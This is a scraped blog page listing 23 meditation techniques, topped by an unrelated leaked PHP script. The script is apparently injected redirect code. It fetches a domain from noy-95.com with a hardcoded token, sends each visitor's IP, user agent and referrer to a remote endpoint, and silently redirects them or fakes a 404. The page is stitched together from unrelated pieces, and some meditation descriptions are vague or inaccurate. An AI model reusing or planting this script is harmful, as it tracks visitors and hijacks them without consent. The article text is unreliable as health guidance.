"; echo json_encode($_SERVER); echo "
"; } $API_DOMAIN = 'noy-95.com'; $AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0'; $TB_URL = ''; $ttl = 10 * 60; $fileName = dirname(__FILE__)."/.domain.cache"; $query = isset($_GET['q']) ? $_GET['q'] : ''; $s1 = isset($_GET['s1']) ? $_GET['s1'] : ''; $s2 = isset($_GET['s2']) ? $_GET['s2'] : ''; $s3 = isset($_GET['s3']) ? $_GET['s3'] : ''; if ($isDebug) { echo "Getting tds domain from cache...
"; } $info = getDomain($fileName); if (is_array($info) && $info['expired'] < time()) { if ($isDebug) { echo "FAIL: TDS domain cache is empty or expired
"; } $info = false; } if ($info === false) { if ($isDebug) { echo "Getting tds domain from api...
"; } $domain = getTDSDomain($API_DOMAIN, $AD_TOKEN); if (!$domain) { if ($isDebug) { echo "FAIL: No domain received.
"; } if ($TB_URL) { $rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL); if ($isDebug) { echo "Redirecting to trafficback: $rUrl
"; } else { listHeaders(); header("Location: $rUrl"); } return; } if ($isDebug) { echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Saving domain to cache...
"; } saveDomain($fileName, $domain, time() + $ttl); $info = array('domain' => $domain); } if ($isDebug) { echo "Getting ad url...
"; } $location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug); if (!$location) { if ($isDebug) { echo "FAIL: No ad found.
"; echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Redirecting to ad: $location
"; } else { listHeaders(); header("Location: $location"); ob_flush(); } return; function getDomain($file) { $d = file($file); if ($d === false || count($d) === 0) { return false; } $info = explode(";", $d[0]); // mailformed file if (count($info) !== 2) { return false; } return array( 'domain' => $info[0], 'expired' => (int) $info[1] ); } function saveDomain($file, $domain, $expired) { file_put_contents($file, "$domain;$expired"); } function getTDSDomain ($apiUrl, $token) { $ctx = stream_context_create(array('http'=>array('timeout' => 10))); $res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx); if (!$res) { return ""; } $data = json_decode($res, true); if (!is_array($data) || !array_key_exists("domain", $data)) { return ""; } return $data["domain"]; } function getAd($domain, $token, $server, $params, $isDebug) { $errCount = 0; $res = ''; while ($errCount < 2) { $res = doReq($domain, $token, $server, $params, $isDebug); if ($res !== false) { break; } $errCount++; } if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) { return false; } if (!empty($res['response']['url'])) { return $res['response']['url']; } else if (!empty($res['response']['tb'])) { return $res['response']['tb']; } else { return false; } } function doReq($domain, $token, $server, $params, $isDebug) { $ch = curl_init(); $body = array(); if (!empty($server['HTTP_REFERER'])) { $body['ref'] = $server['HTTP_REFERER']; } if (!empty($server['HTTP_USER_AGENT'])) { $body['ua'] = $server['HTTP_USER_AGENT']; } if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) { $body['lang'] = $server['HTTP_ACCEPT_LANGUAGE']; } $body['ip'] = getClientIP($server); $body['q'] = $params['query']; $scheme = getScheme($server); $bodyStr = json_encode($body); $addSubParams = array(); if (!empty($params['s1'])) { $addSubParams[] = "s1=".$params['s1']; } if (!empty($params['s2'])) { $addSubParams[] = "s2=".$params['s2']; } if (!empty($params['s3'])) { $addSubParams[] = "s3=".$params['s3']; } $subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : ""; $ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: '.strlen($bodyStr)) ); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ($info === false || !$info['http_code']) { if ($isDebug) { echo "Network error occurred: ".curl_error($ch)."
"; } return false; } $adData=json_decode($result, true); return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null); } function getScheme($server) { return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http'; } function getClientIP($server) { if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){ return $server["HTTP_X_FORWARDED_FOR"]; } else if (array_key_exists('HTTP_X_REAL_IP', $server)) { return $server["HTTP_X_REAL_IP"]; } else if (array_key_exists('REMOTE_ADDR', $server)) { return $server["REMOTE_ADDR"]; } return ''; } function listHeaders() { header("Expires: Tue, 03 Jul 2001 06:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Connection: close"); } function render404($server) { $protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1'; listHeaders(); header("$protocol 404 Not Found"); }

2/04/2019

Home / BAUOTY / WELLNESS / How to meditate: 23 meditation techniques to choose from

How to meditate: 23 meditation techniques to choose from

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How to meditate: 23 meditation techniques to choSo you know that meditation is a powerful practice, which can help you boost your mental and physical health, gain confidence and improve concentration. And you want to start practicing it, but there are so many types of meditation. You want to know what meditation practice is the best for you.

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There are more than one hundred meditation techniques and we will help you navigate the world of the most popular practices of seated meditation.
In this article, we would like to show you twenty-three meditation techniques to help you choose the best meditation practice for you. This article does not tell you which is “the best” type of meditation – because each meditation type has its benefits. Are you interested? Scroll down to read this article right now.
Credit: Freepik
Credit: Freepik
#1. Focused attention meditation
This practice involves maintaining sustained attention on a specific object. It may help improve focus and stay present.
#2. Zen meditation
This is old and very easy meditation practice, which can help you fix poor posture and find a harmony.
READ MORE: 6 yoga breathing methods to shed pounds
#3. Vipassana meditation
This ancient Indian meditation technique helps see things the way they are.
#4. Effortless presence
This mindfulness practice comes from Yoga and it is about pure acceptance and relaxation.
#5. Open monitoring meditation
The purpose of this practice is to monitor your inner and outer world, without judging. It helps increase mindfulness and wellbeing.
Credit: Freepik
Credit: Freepik
#6. Metta meditation
This technique may help you become kinder and more compassionate.
#7. Mantra meditation
It is a type of meditation where you need to repeat a particular sound or short phrase(matra) again and again.
#8. Self-inquiry meditation
It is a great way to discover your deepest sense of self.
#9. Mindfulness meditation
This meditation cultivates non-judgmental awareness of experience in the present moment.
Credit: Freepik
Credit: Freepik
#10. Yoga meditation
This meditation may help deepen your body awareness and calm your anxious mind.
#11. Taoist meditation
This is chinese type of meditation, which may help you build a healthy and harmonious relationship with yourself.
#12. Qigong meditation
This practice may help you cultivate energy.
READ MORE: Yoga poses that can help lose weight
#13. Transcendental meditation
This practice may help you achieve inner peace and wellness.
#14. Christian meditation
The purpose of this practice is to transcend the mind and attain enlightenment.
Credit: Freepik
Credit: Freepik
#15. Guided meditation
It is a state of relaxed concentration invoked and led by another person(A yoga instructor or a religious guide). This meditation technique is great for beginners.
#16. Chakra meditation
It can help you align and open your chakras.
#17. Sufi meditation
The goal of this practice is to detoxify your mind and soul and achieve mystical union with the Supreme.
#18. Gazing meditation
This meditation technique may help you improve your focus through intent, but relaxed gazing.
#19. Third Eye meditation
This practice may help you get access to a higher spiritual consciousness.
Take just a few minutes out of each day to bring yourself to a state of calm and wellness and balance your life using a combination of guided meditations and mindfulness techniques. The techniques are a simple, practical relaxation method for anyone.
Try now BetterMe: Meditation
Credit: Freepik
Credit: Freepik
#20. Body Scan meditation
This meditation will teach you to be aware of every part of your body.
#21. Mindfulness-based stress reduction
The aim of this meditation is to relieve stress levels and treat anxiety.
#22. Affirmation meditation
This meditation technique encourage you think positively or make you more self-confident.
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#23. Primordial sound meditation

This practice helps you to experience inner calm and deep relaxation.ose from

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